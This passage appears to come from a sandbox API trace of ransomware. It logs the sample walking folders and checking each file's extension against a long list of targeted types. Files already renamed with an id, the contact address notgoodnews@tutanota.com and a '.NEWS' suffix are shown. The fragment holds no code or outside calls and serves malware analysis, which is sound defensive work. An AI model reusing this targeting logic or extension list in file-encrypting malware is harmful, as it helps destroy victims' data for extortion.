(lpString1=".efd", lpString2="NEWS") returned -1 [0191.362] lstrlenW (lpString=".elf") returned 4 [0191.362] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0191.362] lstrlenW (lpString=".emf") returned 4 [0191.362] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0191.362] lstrlenW (lpString=".emz") returned 4 [0191.362] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0191.362] lstrlenW (lpString=".epf") returned 4 [0191.362] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0191.362] lstrlenW (lpString=".eps") returned 4 [0191.362] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0191.362] lstrlenW (lpString=".epsf") returned 5 [0191.362] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0191.363] lstrlenW (lpString=".epsp") returned 5 [0191.363] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0191.363] lstrlenW (lpString=".erf") returned 4 [0191.363] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0191.363] lstrlenW (lpString=".exr") returned 4 [0191.363] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0191.363] lstrlenW (lpString=".f4v") returned 4 [0191.363] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0191.363] lstrlenW (lpString=".fido") returned 5 [0191.363] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0191.363] lstrlenW (lpString=".flm") returned 4 [0191.363] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0191.363] lstrlenW (lpString=".flv") returned 4 [0191.363] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0191.363] lstrlenW (lpString=".frm") returned 4 [0191.363] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0191.363] lstrlenW (lpString=".fxg") returned 4 [0191.363] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0191.363] lstrlenW (lpString=".geo") returned 4 [0191.363] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0191.363] lstrlenW (lpString=".gif") returned 4 [0191.363] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0191.363] lstrlenW (lpString=".grs") returned 4 [0191.363] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0191.363] lstrlenW (lpString=".gz") returned 3 [0191.363] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0191.363] lstrlenW (lpString=".h") returned 2 [0191.363] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0191.364] lstrlenW (lpString=".hdr") returned 4 [0191.364] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0191.364] lstrlenW (lpString=".hpp") returned 4 [0191.364] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0191.364] lstrlenW (lpString=".hta") returned 4 [0191.364] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0191.364] lstrlenW (lpString=".htc") returned 4 [0191.364] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0191.364] lstrlenW (lpString=".htm") returned 4 [0191.364] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0191.364] lstrlenW (lpString=".html") returned 5 [0191.364] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0191.364] lstrlenW (lpString=".icb") returned 4 [0191.364] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0191.364] lstrlenW (lpString=".ics") returned 4 [0191.364] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0191.364] lstrlenW (lpString=".iff") returned 4 [0191.364] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0191.364] lstrlenW (lpString=".inc") returned 4 [0191.364] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0191.364] lstrlenW (lpString=".indd") returned 5 [0191.364] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0191.364] lstrlenW (lpString=".ini") returned 4 [0191.364] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0191.364] lstrlenW (lpString=".iqy") returned 4 [0191.364] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0191.364] lstrlenW (lpString=".j2c") returned 4 [0191.365] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0191.365] lstrlenW (lpString=".j2k") returned 4 [0191.365] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0191.365] lstrlenW (lpString=".java") returned 5 [0191.365] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0191.365] lstrlenW (lpString=".jp2") returned 4 [0191.365] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0191.365] lstrlenW (lpString=".jpc") returned 4 [0191.365] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0191.365] lstrlenW (lpString=".jpe") returned 4 [0191.365] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0191.365] lstrlenW (lpString=".jpeg") returned 5 [0191.365] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0191.365] lstrlenW (lpString=".jpf") returned 4 [0191.365] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0191.365] lstrlenW (lpString=".jpg") returned 4 [0191.365] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0191.365] lstrlenW (lpString=".jpx") returned 4 [0191.365] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0191.365] lstrlenW (lpString=".js") returned 3 [0191.365] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0191.365] lstrlenW (lpString=".jsf") returned 4 [0191.365] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0191.365] lstrlenW (lpString=".json") returned 5 [0191.365] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0191.365] lstrlenW (lpString=".jsp") returned 4 [0191.365] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0191.365] lstrlenW (lpString=".kdc") returned 4 [0191.366] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0191.366] lstrlenW (lpString=".kmz") returned 4 [0191.366] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0191.366] lstrlenW (lpString=".kwm") returned 4 [0191.366] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0191.366] lstrlenW (lpString=".lasso") returned 6 [0191.366] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0191.366] lstrlenW (lpString=".lbi") returned 4 [0191.366] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0191.366] lstrlenW (lpString=".lgf") returned 4 [0191.366] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0191.366] lstrlenW (lpString=".lgp") returned 4 [0191.366] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0191.366] lstrlenW (lpString=".log") returned 4 [0191.366] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0191.366] lstrlenW (lpString=".m1v") returned 4 [0191.366] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0191.366] lstrlenW (lpString=".m4a") returned 4 [0191.366] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0191.366] lstrlenW (lpString=".m4v") returned 4 [0191.366] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0191.366] lstrlenW (lpString=".max") returned 4 [0191.366] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0191.366] lstrlenW (lpString=".md") returned 3 [0191.366] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0191.366] lstrlenW (lpString=".mda") returned 4 [0191.366] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0191.366] lstrlenW (lpString=".mdb") returned 4 [0191.366] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0191.367] lstrlenW (lpString=".mde") returned 4 [0191.367] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0191.367] lstrlenW (lpString=".mdf") returned 4 [0191.367] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0191.367] lstrlenW (lpString=".mdw") returned 4 [0191.367] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0191.367] lstrlenW (lpString=".mef") returned 4 [0191.367] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0191.367] lstrlenW (lpString=".mft") returned 4 [0191.367] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0191.367] lstrlenW (lpString=".mfw") returned 4 [0191.367] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0191.367] lstrlenW (lpString=".mht") returned 4 [0191.367] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0191.367] lstrlenW (lpString=".mhtml") returned 6 [0191.367] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0191.367] lstrlenW (lpString=".mka") returned 4 [0191.367] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0191.367] lstrlenW (lpString=".mkidx") returned 6 [0191.367] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0191.367] lstrlenW (lpString=".mkv") returned 4 [0191.367] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0191.367] lstrlenW (lpString=".mos") returned 4 [0191.367] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0191.367] lstrlenW (lpString=".mov") returned 4 [0191.367] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0191.367] lstrlenW (lpString=".mp3") returned 4 [0191.367] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".mp4") returned 4 [0191.368] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".mpeg") returned 5 [0191.368] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0191.368] lstrlenW (lpString=".mpg") returned 4 [0191.368] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".mpv") returned 4 [0191.368] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".mrw") returned 4 [0191.368] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".msg") returned 4 [0191.368] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".mxl") returned 4 [0191.368] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".myd") returned 4 [0191.368] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".myi") returned 4 [0191.368] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".nef") returned 4 [0191.368] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".nrw") returned 4 [0191.368] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".obj") returned 4 [0191.368] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".odb") returned 4 [0191.368] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".odc") returned 4 [0191.368] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0191.368] lstrlenW (lpString=".odm") returned 4 [0191.369] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0191.369] lstrlenW (lpString=".odp") returned 4 [0191.369] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0191.369] lstrlenW (lpString=".ods") returned 4 [0191.369] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0191.369] lstrlenW (lpString=".oft") returned 4 [0191.369] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0191.369] lstrlenW (lpString=".one") returned 4 [0191.369] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0191.369] lstrlenW (lpString=".onepkg") returned 7 [0191.369] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0191.369] lstrlenW (lpString=".onetoc2") returned 8 [0191.369] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0191.369] lstrlenW (lpString=".opt") returned 4 [0191.369] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0191.369] lstrlenW (lpString=".oqy") returned 4 [0191.369] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0191.369] lstrlenW (lpString=".orf") returned 4 [0191.369] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0191.369] lstrlenW (lpString=".p12") returned 4 [0191.369] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0191.369] lstrlenW (lpString=".p7b") returned 4 [0191.369] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0191.370] lstrlenW (lpString=".p7c") returned 4 [0191.370] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0191.370] lstrlenW (lpString=".pam") returned 4 [0191.370] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0191.370] lstrlenW (lpString=".pbm") returned 4 [0191.370] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0191.370] lstrlenW (lpString=".pct") returned 4 [0191.370] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0191.370] lstrlenW (lpString=".pcx") returned 4 [0191.370] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0191.370] lstrlenW (lpString=".pdd") returned 4 [0191.370] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0191.370] lstrlenW (lpString=".pdf") returned 4 [0191.370] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0191.370] lstrlenW (lpString=".pdp") returned 4 [0191.370] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0191.370] lstrlenW (lpString=".pef") returned 4 [0191.370] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0191.370] lstrlenW (lpString=".pem") returned 4 [0191.370] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0191.371] lstrlenW (lpString=".pff") returned 4 [0191.371] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0191.371] lstrlenW (lpString=".pfm") returned 4 [0191.371] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0191.371] lstrlenW (lpString=".pfx") returned 4 [0191.371] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0191.371] lstrlenW (lpString=".pgm") returned 4 [0191.371] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0191.371] lstrlenW (lpString=".php") returned 4 [0191.371] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0191.371] lstrlenW (lpString=".php3") returned 5 [0191.371] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0191.371] lstrlenW (lpString=".php4") returned 5 [0191.371] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0191.371] lstrlenW (lpString=".php5") returned 5 [0191.371] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0191.371] lstrlenW (lpString=".phtml") returned 6 [0191.371] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0191.371] lstrlenW (lpString=".pict") returned 5 [0191.371] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0191.371] lstrlenW (lpString=".pl") returned 3 [0191.372] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0191.372] lstrlenW (lpString=".pls") returned 4 [0191.372] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0191.372] lstrlenW (lpString=".pm") returned 3 [0191.372] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0191.372] lstrlenW (lpString=".png") returned 4 [0191.372] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0191.372] lstrlenW (lpString=".pnm") returned 4 [0191.372] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0191.372] lstrlenW (lpString=".pot") returned 4 [0191.372] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0191.372] lstrlenW (lpString=".potm") returned 5 [0191.372] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0191.372] lstrlenW (lpString=".potx") returned 5 [0191.372] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0191.372] lstrlenW (lpString=".ppa") returned 4 [0191.372] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0191.372] lstrlenW (lpString=".ppam") returned 5 [0191.373] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0191.373] lstrlenW (lpString=".ppm") returned 4 [0191.373] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0191.373] lstrlenW (lpString=".pps") returned 4 [0191.373] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0191.373] lstrlenW (lpString=".ppsm") returned 5 [0191.373] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0191.373] lstrlenW (lpString=".ppt") returned 4 [0191.373] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0191.373] lstrlenW (lpString=".pptm") returned 5 [0191.373] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0191.373] lstrlenW (lpString=".pptx") returned 5 [0191.373] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0191.373] lstrlenW (lpString=".prn") returned 4 [0191.373] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0191.373] lstrlenW (lpString=".ps") returned 3 [0191.373] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0191.373] lstrlenW (lpString=".psb") returned 4 [0191.373] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0191.373] lstrlenW (lpString=".psd") returned 4 [0191.373] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0191.373] lstrlenW (lpString=".pst") returned 4 [0191.374] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0191.374] lstrlenW (lpString=".ptx") returned 4 [0191.374] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0191.374] lstrlenW (lpString=".pub") returned 4 [0191.374] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0191.374] lstrlenW (lpString=".pwm") returned 4 [0191.374] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0191.374] lstrlenW (lpString=".pxr") returned 4 [0191.374] lstrcmpiW (lpString1=".pxr", lpString2="NEWS") returned -1 [0191.374] lstrlenW (lpString=".py") returned 3 [0191.374] lstrcmpiW (lpString1=".py", lpString2="EWS") returned -1 [0191.374] lstrlenW (lpString=".qt") returned 3 [0191.374] lstrcmpiW (lpString1=".qt", lpString2="EWS") returned -1 [0191.374] lstrlenW (lpString=".r3d") returned 4 [0191.374] lstrcmpiW (lpString1=".r3d", lpString2="NEWS") returned -1 [0191.374] lstrlenW (lpString=".raf") returned 4 [0191.374] lstrcmpiW (lpString1=".raf", lpString2="NEWS") returned -1 [0191.374] lstrlenW (lpString=".rar") returned 4 [0191.374] lstrcmpiW (lpString1=".rar", lpString2="NEWS") returned -1 [0191.374] lstrlenW (lpString=".raw") returned 4 [0191.374] lstrcmpiW (lpString1=".raw", lpString2="NEWS") returned -1 [0191.375] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395c9cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395c9cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399ac4e4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.375] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398785fe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398785fe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.375] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398785fe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398785fe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x398785fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.375] FindClose (in: hFindFile=0x67a6b8 | out: hFindFile=0x67a6b8) returned 1 [0191.376] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.376] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0191.377] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3200740 [0191.377] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x67a6b8 [0191.378] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.378] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x395f40e0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x395f40e0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x395f40e0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.379] FindNextFileW (in: hFindFile=0x67a6b8, lpFindFileData=0x2d0f800 | out: lpFindFileData=0x2d0f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39616154, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39616154, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39616154, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.380] lstrlenW (lpString="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS") returned 61 [0191.380] lstrlenW (lpString=".1cd") returned 4 [0191.380] lstrcmpiW (lpString1=".1cd", lpString2="NEWS") returned -1 [0191.380] lstrlenW (lpString=".3ds") returned 4 [0191.380] lstrcmpiW (lpString1=".3ds", lpString2="NEWS") returned -1 [0191.380] lstrlenW (lpString=".3fr") returned 4 [0191.380] lstrcmpiW (lpString1=".3fr", lpString2="NEWS") returned -1 [0191.380] lstrlenW (lpString=".3g2") returned 4 [0191.381] lstrcmpiW (lpString1=".3g2", lpString2="NEWS") returned -1 [0191.381] lstrlenW (lpString=".3gp") returned 4 [0191.381] lstrcmpiW (lpString1=".3gp", lpString2="NEWS") returned -1 [0191.381] lstrlenW (lpString=".7z") returned 3 [0191.381] lstrcmpiW (lpString1=".7z", lpString2="EWS") returned -1 [0191.381] lstrlenW (lpString=".accda") returned 6 [0191.381] lstrcmpiW (lpString1=".accda", lpString2="].NEWS") returned -1 [0191.381] lstrlenW (lpString=".accdb") returned 6 [0191.381] lstrcmpiW (lpString1=".accdb", lpString2="].NEWS") returned -1 [0191.381] lstrlenW (lpString=".accdc") returned 6 [0191.381] lstrcmpiW (lpString1=".accdc", lpString2="].NEWS") returned -1 [0191.381] lstrlenW (lpString=".accde") returned 6 [0191.381] lstrcmpiW (lpString1=".accde", lpString2="].NEWS") returned -1 [0191.381] lstrlenW (lpString=".accdt") returned 6 [0191.381] lstrcmpiW (lpString1=".accdt", lpString2="].NEWS") returned -1 [0191.381] lstrlenW (lpString=".accdw") returned 6 [0191.381] lstrcmpiW (lpString1=".accdw", lpString2="].NEWS") returned -1 [0191.382] lstrlenW (lpString=".adb") returned 4 [0191.382] lstrcmpiW (lpString1=".adb", lpString2="NEWS") returned -1 [0191.382] lstrlenW (lpString=".adp") returned 4 [0191.382] lstrcmpiW (lpString1=".adp", lpString2="NEWS") returned -1 [0191.382] lstrlenW (lpString=".ai") returned 3 [0191.382] lstrcmpiW (lpString1=".ai", lpString2="EWS") returned -1 [0191.382] lstrlenW (lpString=".ai3") returned 4 [0191.382] lstrcmpiW (lpString1=".ai3", lpString2="NEWS") returned -1 [0191.382] lstrlenW (lpString=".ai4") returned 4 [0191.382] lstrcmpiW (lpString1=".ai4", lpString2="NEWS") returned -1 [0191.382] lstrlenW (lpString=".ai5") returned 4 [0191.382] lstrcmpiW (lpString1=".ai5", lpString2="NEWS") returned -1 [0191.382] lstrlenW (lpString=".ai6") returned 4 [0191.382] lstrcmpiW (lpString1=".ai6", lpString2="NEWS") returned -1 [0191.382] lstrlenW (lpString=".ai7") returned 4 [0191.382] lstrcmpiW (lpString1=".ai7", lpString2="NEWS") returned -1 [0191.383] lstrlenW (lpString=".ai8") returned 4 [0191.383] lstrcmpiW (lpString1=".ai8", lpString2="NEWS") returned -1 [0191.383] lstrlenW (lpString=".anim") returned 5 [0191.383] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0191.383] lstrlenW (lpString=".arw") returned 4 [0191.383] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0191.383] lstrlenW (lpString=".as") returned 3 [0191.383] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0191.383] lstrlenW (lpString=".asa") returned 4 [0191.383] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0191.383] lstrlenW (lpString=".asc") returned 4 [0191.383] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0191.383] lstrlenW (lpString=".ascx") returned 5 [0191.383] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0191.383] lstrlenW (lpString=".asm") returned 4 [0191.383] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0191.383] lstrlenW (lpString=".asmx") returned 5 [0191.383] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0191.384] 